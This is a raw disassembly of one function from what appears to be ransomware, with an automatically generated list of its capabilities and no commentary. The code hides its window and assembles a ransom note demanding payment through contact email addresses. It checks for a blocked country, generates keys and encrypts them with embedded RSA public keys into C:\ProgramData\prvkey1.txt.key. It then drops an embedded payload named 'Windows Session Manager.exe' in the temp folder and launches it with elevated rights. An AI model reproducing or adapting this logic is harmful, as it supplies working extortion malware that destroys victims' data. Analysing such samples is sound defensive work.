Function at 0x44c310
Capabilities:
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Extract resource via kernel32 functions
Generate random numbers via winapi
Get common file path
Get file attributes
Hide graphical window
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x529171
mov eax, dword fs:[0]
push eax
sub esp, 0x528
mov eax, dword [0x58ce34]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4f4], 0
call dword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x18
mov dword [ebp - 0x534], 0
lea ecx, [ebp - 0x534]
push str.Dexterxanax_criptext.com
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x520], 0xf
mov byte [ebp - 0x534], 0
call fcn.00449f70
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x450]
push 0x19
mov dword [ebp - 0x450], 0
push 0x5885e8
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 0xf
mov byte [ebp - 0x450], 0
call fcn.00449f70
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x43c]
mov eax, ecx
mov edx, dword [ebp - 0x440]
sub eax, edx
cmp eax, 0xd7
jb 0x44c473
cmp ecx, 0x10
lea esi, [ebp - 0x450]
lea eax, [edx + 0xd7]
cmovae esi, dword [ebp - 0x450]
mov dword [ebp - 0x440], eax
cmp esi, 0x5886df
jae 0x44c42e
lea eax, [esi + edx]
cmp eax, str.All_your_files_are_encrypted_due_to_security_problem_with_your_computer._r_nYou_should_pay_money_to_recover_your_files._r_nThe_price_depends_on_how_fast_do_you_message_us._r_nYou_should_contact_us_via_this_email_address:
jb 0x44c42e
cmp esi, str.All_your_files_are_encrypted_due_to_security_problem_with_your_computer._r_nYou_should_pay_money_to_recover_your_files._r_nThe_price_depends_on_how_fast_do_you_message_us._r_nYou_should_contact_us_via_this_email_address:
ja 0x44c424
xor edi, edi
jmp 0x44c433
mov edi, esi
sub edi, str.All_your_files_are_encrypted_due_to_security_problem_with_your_computer._r_nYou_should_pay_money_to_recover_your_files._r_nThe_price_depends_on_how_fast_do_you_message_us._r_nYou_should_contact_us_via_this_email_address:
jmp 0x44c433
mov edi, 0xd7
lea eax, [edx + 1]
push eax
lea ecx, [esi + 0xd7]
push esi
push ecx
call fcn.00503ed0
push edi
push str.All_your_files_are_encrypted_due_to_security_problem_with_your_computer._r_nYou_should_pay_money_to_recover_your_files._r_nThe_price_depends_on_how_fast_do_you_message_us._r_nYou_should_contact_us_via_this_email_address:
push esi
call fcn.00503ed0
mov eax, 0xd7
lea ecx, [esi + edi]
sub eax, edi
push eax
lea eax, [edi + 0x5886df]
push eax
push ecx
call fcn.00503ed0
add esp, 0x24
lea eax, [ebp - 0x450]
jmp 0x44c498
push 0xd7
sub esp, 8
mov byte [ebp - 0x4f4], 0
lea ecx, [ebp - 0x450]
push dword [ebp - 0x4f4]
push 0xd7
call fcn.0044d5f0
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x468], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x458], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x454]
mov eax, edx
mov ecx, dword [ebp - 0x458]
sub eax, ecx
push 0x46
push str._r_n_if_you_didnt_receive_any_reply__message_our_second_email_address:
cmp eax, 0x46
jb 0x44c52e
cmp edx, 0x10
lea esi, [ebp - 0x468]
lea eax, [ecx + 0x46]
cmovae esi, dword [ebp - 0x468]
add esi, ecx
mov dword [ebp - 0x458], eax
push esi
call fcn.00503ed0
add esp, 0xc
mov byte [esi + 0x46], 0
lea eax, [ebp - 0x468]
jmp 0x44c548
mov byte [ebp - 0x4f4], 0
lea ecx, [ebp - 0x468]
push dword [ebp - 0x4f4]
push 0x46
call fcn.0044b210
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x498], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x488], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x534]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x498]
push eax
push dword [ebp - 0x4f4]
lea ecx, [ebp - 0x51c]
call fcn.0044d410
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x51c]
mov esi, dword [ebp - 0x508]
mov eax, esi
mov edx, dword [ebp - 0x50c]
sub eax, edx
cmp eax, 2
jb 0x44c5dc
cmp esi, 0x10
lea eax, [edx + 2]
mov dword [ebp - 0x50c], eax
cmovae ecx, dword [ebp - 0x51c]
mov ax, word [0x588580]
mov word [ecx + edx], ax
lea eax, [ebp - 0x51c]
mov byte [ecx + edx + 2], 0
jmp 0x44c5f7
push 2
push 0x588580
mov byte [ebp - 0x4f4], 0
push dword [ebp - 0x4f4]
push 2
call fcn.0044b210
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x14]
mov eax, edx
mov ecx, dword [ebp - 0x18]
sub eax, ecx
push 0x1cf
push str.We_guarantee_that_if_you_make_payment__all_your_files_will_be_recovered._r_nYou_can_send_few_example_files._We_recover_them_for_you_to_prove_that_we_can_recover_your_files._r_nAttention:_r_nDo_not_rename_encrypted_files._r_nDo_not_try_to_decrypt_your_data_using_third_party_software__it_may_cause_permanent_data_loss._r_nThe_decryption_of_your_files_with_the_help_of_third_parties_may_cause_increased_price__they_add_their_fee_to_our__or_you_can_become_a_victim_of_a_scam._
cmp eax, 0x1cf
jb 0x44c677
cmp edx, 0x10
lea esi, [ebp - 0x28]
lea eax, [ecx + 0x1cf]
cmovae esi, dword [ebp - 0x28]
add esi, ecx
mov dword [ebp - 0x18], eax
push esi
call fcn.00503ed0
add esp, 0xc
mov byte [esi + 0x1cf], 0
lea eax, [ebp - 0x28]
jmp 0x44c691
mov byte [ebp - 0x4f4], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x4f4]
push 0x1cf
call fcn.0044b210
movups xmm0, xmmword [eax]
mov ecx, 0x58d8c8
mov dword [ebp - 0x4f8], 0x3e
movups xmmword [ebp - 0x4cc], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x4cc]
push eax
movq qword [ebp - 0x4bc], xmm0
call fcn.0044adc0
mov edx, dword [ebp - 0x4b8]
cmp edx, 0x10
jb 0x44c70e
mov ecx, dword [ebp - 0x4cc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44c704
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d3d0
push edx
push ecx
call fcn.005028bb
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x44c746
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44c73c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d3d0
push edx
push ecx
call fcn.005028bb
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x508]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp edx, 0x10
jb 0x44c796
mov ecx, dword [ebp - 0x51c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44c78c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d3d0
push edx
push ecx
call fcn.005028bb
add esp, 8
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x484]
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0x508], 0xf
mov byte [ebp - 0x51c], 0
cmp edx, 0x10
jb 0x44c7ef
mov ecx, dword [ebp - 0x498]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44c7e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d3d0
push edx
push ecx
call fcn.005028bb
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x454]
cmp edx, 0x10
jb 0x44c82d
mov ecx, dword [ebp - 0x468]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44c823
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d3d0
push edx
push ecx
call fcn.005028bb
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x43c]
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
cmp edx, 0x10
jb 0x44c886
mov ecx, dword [ebp - 0x450]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44c87c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d3d0
push edx
push ecx
call fcn.005028bb
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x520]
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 0xf
mov byte [ebp - 0x450], 0
cmp edx, 0x10
jb 0x44c8e2
mov ecx, dword [ebp - 0x534]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44c8d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d3d0
push edx
push ecx
call fcn.005028bb
add esp, 8
lea ecx, [ebp - 0x4b0]
call fcn.004478a0
lea ecx, [ebp - 0x498]
mov dword [ebp - 4], 6
call fcn.00447cb0
xorps xmm0, xmm0
mov dword [ebp - 0x454], 0
movq qword [ebp - 0x45c], xmm0
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
mov dword [ebp - 0x4f4], esp
push 8
push str.ShreAzm0
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00449f70
sub esp, 0x18
mov byte [ebp - 4], 9
lea eax, [ebp - 0x498]
mov dword [ebp - 0x438], esp
mov ecx, esp
push eax
call fcn.00448fc0
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x4b0]
mov ecx, esp
push eax
call fcn.00448fc0
lea ecx, [ebp - 0x45c]
mov byte [ebp - 4], 8
call fcn.0044b750
mov esi, eax
mov ecx, str._error_message_:_Fucking_this_country_is_forbidden._
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x44c9b0
test dl, dl
je 0x44c9ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x44c9b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x44c990
xor eax, eax
jmp 0x44c9b5
sbb eax, eax
or eax, 1
test eax, eax
je 0x44d3d5
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 0xf
mov byte [ebp - 0x480], 0
mov byte [ebp - 4], 0xb
cmp byte [esi], 0
je 0x44ca23
sub esp, 8
lea ecx, [ebp - 0x4cc]
mov edx, esi
call fcn.0044be00
add esp, 8
mov dword [ebp - 0x4f8], 0x3f
lea ecx, [ebp - 0x480]
push eax
call fcn.0044adc0
cmp dword [eax + 0x10], 0
je 0x44ca23
mov byte [ebp - 0x4f9], 0
jmp 0x44ca33
test byte [ebp - 0x4f8], 1
mov byte [ebp - 0x4f9], 1
je 0x44ca94
mov edx, dword [ebp - 0x4b8]
cmp edx, 0x10
jb 0x44ca6d
mov ecx, dword [ebp - 0x4cc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44ca63
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d3dc
push edx
push ecx
call fcn.005028bb
add esp, 8
cmp byte [ebp - 0x4f9], 0
jne 0x44ca94
cmp dword [ebp - 0x46c], 0x10
lea ecx, [ebp - 0x480]
cmovae ecx, dword [ebp - 0x480]
call fcn.0044b6b0
jmp 0x44d05d
push 0
push 0
push 3
push 0x800
call fcn.00452ad0
mov dword [ebp - 0x4b4], eax
call fcn.00452660
push eax
call fcn.004532b0
mov esi, eax
mov dword [ebp - 0x434], esi
call fcn.00452660
push eax
call fcn.004532b0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x4b4]
mov edi, eax
push esi
mov dword [ebp - 0x500], edi
call fcn.004527e0
push dword [ebp - 0x4b4]
push edi
call fcn.00452810
push 0
push 0
push 0xa
push esi
call fcn.00452c90
add esp, 0x4c
mov esi, eax
mov dword [ebp - 0x4f8], esi
push 0
push 0
push 0xa
push edi
call fcn.00452c90
xor edx, edx
mov edi, eax
add esi, 1
mov dword [ebp - 0x504], edi
setb dl
neg edx
or edx, esi
push edx
call fcn.005072b3
mov esi, eax
mov dword [ebp - 0x4f4], eax
add esp, 0x14
test esi, esi
je 0x44cbbd
xor edx, edx
add edi, 1
setb dl
neg edx
or edx, edi
push edx
call fcn.005072b3
mov edi, eax
add esp, 4
mov dword [ebp - 0x438], edi
test edi, edi
je 0x44cbbd
push dword [ebp - 0x4f8]
push esi
push dword [ebp - 0x434]
call fcn.00453570
push dword [ebp - 0x504]
push edi
push dword [ebp - 0x500]
call fcn.00453570
mov eax, dword [ebp - 0x4f8]
push dword [ebp - 0x4b4]
mov byte [esi + eax], 0
mov eax, dword [ebp - 0x504]
mov byte [edi + eax], 0
call fcn.00453950
push dword [ebp - 0x500]
call fcn.00452e50
push dword [ebp - 0x434]
call fcn.00452e50
add esp, 0x24
jmp 0x44cbd5
mov eax, dword [ebp - 0x4f4]
mov esi, dword [ebp - 0x4f4]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x4f4], esi
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x44cc08
lea eax, [ebp - 0x4d4]
push eax
push 0x20
push dword [ebp - 0x434]
call edi
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x44cc32
lea eax, [ebp - 0x1c]
push eax
push 0xc
push dword [ebp - 0x434]
call edi
call fcn.00453a50
push 0xffffffffffffffff
push str._____BEGIN_RSA_PUBLIC_KEY______nMIIBCAKCAQEAtwaXp1WsolllU9hmsWpjDN4fykYkh7F2kNYou4O6Ige9AosNWQgE_nRRLQy4pMCdCa0146vK7boYQiAWwTV0I5mjpif9lOWxvjjDcjU7vbocAUjp2jFr0j_nV_LVmPFa4y7731kSTJ3krfyTgK0i_NmAScQnYXZDMneiCLFuBOwzLOhZDxRSqmdg_nzf1ZB_87mjOB5TYgD8sCiXmxrkRfZFUfCTVunr_nueXn8FF1Fgrv9ViAgfgdI9G_nHTKDypUl4t3lnLTxEynAL_2sH7VeJBGHYlD7YWOZIKBIpMMzVYdV1girVlfPpig0_njpSE6EJCFaHxd7BJbNIMVqjkxmbfbTkJwIBAw_n_____END_RSA_PUBLIC_KEY_____
mov dword [ebp - 0x4b4], eax
call fcn.004525e0
push 0
mov edi, eax
lea eax, [ebp - 0x4b4]
push 0
push eax
push edi
call fcn.004527b0
push 4
push eax
mov dword [ebp - 0x4b4], eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x4d4]
push eax
push 0x20
call fcn.00452890
mov eax, dword [ebp - 0x4b4]
add esp, 0x2c
test eax, eax
je 0x44cc90
push eax
call fcn.00453950
add esp, 4
push edi
call fcn.00452e50
call fcn.00453a50
push 0xffffffffffffffff
push str._____BEGIN_RSA_PUBLIC_KEY______nMIIBCAKCAQEAx0Y8J_12kxac7vi8V8ETO2BLhVKBBP3vod4jSOgZUCiB3zHWE_nbidMjw5coxHOL8Jdv4daOFrdP1PrHC0ymo2mNsUDQ5cRUwkz37Nrywko3JBBCIX__nQF6e03QoMKP3vH1qefsMIyuh3e3mXIlwCs0tsRS4kuLGcmWrIabfsD1V9tXHYTGl_nSwXwsjNemAQ77SsEIckVIMQTHmygDuOgrIZMyIMa_Fz7_vXvdRZc5ST1kDUDbUy4_nIUblIE5aXk2emx1HBM_12oZaEvTEW0sOquRmOCwpxmOPwnNXptKzIATqK7ELmE_nSCLWz63LkMjXJ9c2hMNtKktkpvaUs4vjNwIBAw_n_____END_RSA_PUBLIC_KEY_____
mov dword [ebp - 0x4b4], eax
call fcn.004525e0
push 0
mov edi, eax
lea eax, [ebp - 0x4b4]
push 0
push eax
push edi
call fcn.004527b0
push 4
push eax
mov dword [ebp - 0x4b4], eax
lea eax, [ebp - 0x32c]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0xc
call fcn.00452890
mov eax, dword [ebp - 0x4b4]
add esp, 0x30
test eax, eax
je 0x44ccf1
push eax
call fcn.00453950
add esp, 4
push edi
call fcn.00452e50
mov ecx, esi
add esp, 4
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44cd00
sub ecx, edx
lea eax, [ecx + 1]
push eax
mov dword [ebp - 0x500], eax
call fcn.005072b3
add esp, 4
mov dword [ebp - 0x4b4], eax
call fcn.0044e520
mov edi, eax
test edi, edi
je 0x44cd89
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x4d4]
push eax
push 0
call fcn.00451bb0
push eax
push edi
call fcn.0044ef00
add esp, 0x14
cmp eax, 1
jne 0x44cd89
push dword [ebp - 0x500]
lea eax, [ebp - 0x434]
push esi
mov esi, dword [ebp - 0x4b4]
push eax
push esi
push edi
call fcn.0044ef20
add esp, 0x14
cmp eax, 1
jne 0x44cd89
lea eax, [ebp - 0x434]
push eax
mov eax, dword [ebp - 0x434]
add eax, esi
push eax
push edi
call fcn.0044ee00
add esp, 0xc
push edi
call fcn.0044e4a0
mov edi, dword [ebp - 0x500]
lea esi, [edi + 0x200]
push esi
mov dword [ebp - 0x500], esi
call fcn.005028ec
push edi
push dword [ebp - 0x4b4]
mov edx, esi
mov dword [ebp - 0x4f8], eax
mov ecx, eax
call fcn.0044c1e0
add esp, 0x10
add edi, dword [ebp - 0x4f8]
mov dword [ebp - 0x504], edi
jne 0x44cdfd
call fcn.0050aae9
mov dword [eax], 0x16
call fcn.0050a6d9
add edi, 0x100
mov eax, edi
cmp esi, 0x100
jb 0x44ce53
mov ecx, 0x40
lea esi, [ebp - 0x32c]
rep movsd dword es:[edi], dword [esi]
jmp 0x44ce6f
cmp esi, 0x100
jb 0x44ce20
mov ecx, 0x40
lea esi, [ebp - 0x22c]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x500]
mov edi, dword [ebp - 0x504]
jmp 0x44ce3c
push esi
push 0
push edi
call fcn.00504450
add esp, 0xc
call fcn.0050aae9
mov dword [eax], 0x22
call fcn.0050a6d9
add edi, 0x100
mov eax, edi
jne 0x44cde6
call fcn.0050aae9
mov dword [eax], 0x16
jmp 0x44ce6a
push esi
push 0
push eax
call fcn.00504450
add esp, 0xc
call fcn.0050aae9
mov dword [eax], 0x22
call fcn.0050a6d9
mov edi, dword [ebp - 0x438]
lea ecx, [ebp - 0x450]
sub esp, 8
mov edx, edi
call fcn.0044be00
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x450]
mov eax, dword [ebp - 0x440]
mov edx, 1
cmp eax, edx
cmovb edx, eax
cmp dword [ebp - 0x43c], 0x10
cmovae ecx, dword [ebp - 0x450]
sub eax, edx
mov dword [ebp - 0x440], eax
inc eax
push eax
lea eax, [ecx + edx]
push eax
push ecx
call fcn.00503ed0
mov ecx, dword [ebp - 0x440]
lea eax, [ebp - 0x450]
dec ecx
add esp, 0x14
cmp dword [ebp - 0x43c], 0x10
mov dword [ebp - 0x440], ecx
cmovae eax, dword [ebp - 0x450]
mov byte [eax + ecx], 0
lea ecx, [ebp - 0x450]
cmp dword [ebp - 0x43c], 0x10
cmovae ecx, dword [ebp - 0x450]
call fcn.0044b6b0
test al, al
je 0x44cf98
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push str.C:ProgramDataprvkey1.txt.key
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x44cf4e
push 0
lea eax, [ebp - 0x438]
push eax
push dword [ebp - 0x500]
push dword [ebp - 0x4f8]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test esi, esi
je 0x44cf55
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push str.C:ProgramDataprvkey1.txt
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x44cf91
push 0
lea eax, [ebp - 0x438]
push eax
push 1
push 0x588adc
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test esi, esi
je 0x44cf98
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x4f4]
call fcn.0050a418
push edi
call fcn.0050a418
push dword [ebp - 0x4b4]
call fcn.0050a418
push dword [ebp - 0x4f8]
call fcn.00502886
mov edx, dword [0x58d8dc]
add esp, 0x10
mov ecx, dword [0x58d8d8]
mov eax, edx
sub eax, ecx
push 0x77
push str._r_nAttach__C:ProgramDataprvkey1.txt.key__file_with_your_email._Do_not_delete_this_file__it_causes_permanent_data_loss.
cmp eax, 0x77
jb 0x44d006
cmp edx, 0x10
lea eax, [ecx + 0x77]
mov esi, 0x58d8c8
mov dword [0x58d8d8], eax
cmovae esi, dword [0x58d8c8]
add esi, ecx
push esi
call fcn.00503ed0
add esp, 0xc
mov byte [esi + 0x77], 0
jmp 0x44d01f
mov byte [ebp - 0x4f4], 0
mov ecx, 0x58d8c8
push dword [ebp - 0x4f4]
push 0x77
call fcn.0044b210
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x43c]
cmp edx, 0x10
jb 0x44d05d
mov ecx, dword [ebp - 0x450]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44d053
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d3e1
push edx
push ecx
call fcn.005028bb
add esp, 8
cmp dword [ebp - 0x49c], 0x10
lea esi, [ebp - 0x4b0]
push 0x5882f0
cmovae esi, dword [ebp - 0x4b0]
mov dword [ebp - 0x4f4], esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x44d08b
test al, 0x10
je 0x44d0dc
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x44d090
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push 0x5882f0
sub esi, ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x44d0d5
push 0
lea eax, [ebp - 0x438]
push eax
push esi
push dword [ebp - 0x4f4]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test edi, edi
je 0x44d0dc
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x588b78
push 0x6a
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
test esi, esi
je 0x44d3e6
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp - 0x438], eax
test eax, eax
jne 0x44d112
push str.Somerhing_went_wrong_while_loading_resource_s.
jmp 0x44d3eb
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push dword [ebp - 0x438]
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push edi
mov esi, eax
call fcn.005028ec
push edi
push esi
mov edx, edi
mov dword [ebp - 0x4f4], eax
mov ecx, eax
call fcn.0044c1e0
add esp, 0xc
lea eax, [ebp - 0x430]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
jne 0x44d165
push str.Somerhing_went_wrong_while_finding_temp_path.
jmp 0x44d3eb
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x12c]
push 0x104
push eax
call fcn.0050aa16
push str.Windows_Session_Manager.exe
lea eax, [ebp - 0x12c]
push 0x104
push eax
call fcn.0050aafc
add esp, 0x18
mov byte [ebp - 0x4f8], 0
lea eax, [ebp - 0x12c]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x44d1ff
push 0
lea eax, [ebp - 0x434]
push eax
push edi
push dword [ebp - 0x4f4]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x44d1fb
mov eax, dword [ebp - 0x4f8]
mov ecx, 1
cmp dword [ebp - 0x434], edi
movzx eax, al
cmove eax, ecx
mov dword [ebp - 0x4f8], eax
test esi, esi
je 0x44d20a
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
jmp 0x44d210
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp byte [ebp - 0x4f8], 0
jne 0x44d223
push str.Somerhing_went_wrong_while_writing_payload_on_disk
jmp 0x44d3eb
push dword [ebp - 0x4f4]
call fcn.00502886
add esp, 4
push dword [ebp - 0x438]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x4f0], 0x3c
mov dword [ebp - 0x4e0], eax
lea eax, [ebp - 0x4f0]
push eax
mov dword [ebp - 0x4ec], 0x40
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4e4], str.runas
mov dword [ebp - 0x4d4], 5
mov dword [ebp - 0x4dc], 0
mov dword [ebp - 0x4d8], 0
mov dword [ebp - 0x4d0], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 0xffffffffffffffff
push dword [ebp - 0x4b8]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x4b8]
call esi
call fcn.0044d750
mov edx, dword [ebp - 0x46c]
cmp edx, 0x10
jb 0x44d2fb
mov ecx, dword [ebp - 0x480]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44d2f1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d401
push edx
push ecx
call fcn.005028bb
add esp, 8
mov eax, dword [ebp - 0x45c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 0xf
mov byte [ebp - 0x480], 0
test eax, eax
je 0x44d329
push eax
call esi
mov eax, dword [ebp - 0x458]
test eax, eax
je 0x44d336
push eax
call esi
mov eax, dword [ebp - 0x454]
test eax, eax
je 0x44d343
push eax
call esi
mov edx, dword [ebp - 0x484]
cmp edx, 0x10
jb 0x44d37d
mov ecx, dword [ebp - 0x498]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44d373
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d401
push edx
push ecx
call fcn.005028bb
add esp, 8
mov edx, dword [ebp - 0x49c]
cmp edx, 0x10
jb 0x44d3b3
mov ecx, dword [ebp - 0x4b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44d3a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d401
push edx
push ecx
call fcn.005028bb
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00502878
mov esp, ebp
pop ebp
ret
call fcn.0050a6e9
push 1
call fcn.0050aa00
call fcn.0050a6e9
call fcn.0050a6e9
push str.Somerhing_went_wrong_while_finding_resource_s.
lea ecx, [ebp - 0x1c]
call fcn.0044c280
push 0x58ad18
lea eax, [ebp - 0x1c]
push eax
call fcn.00504dab
call fcn.0050a6e9
int3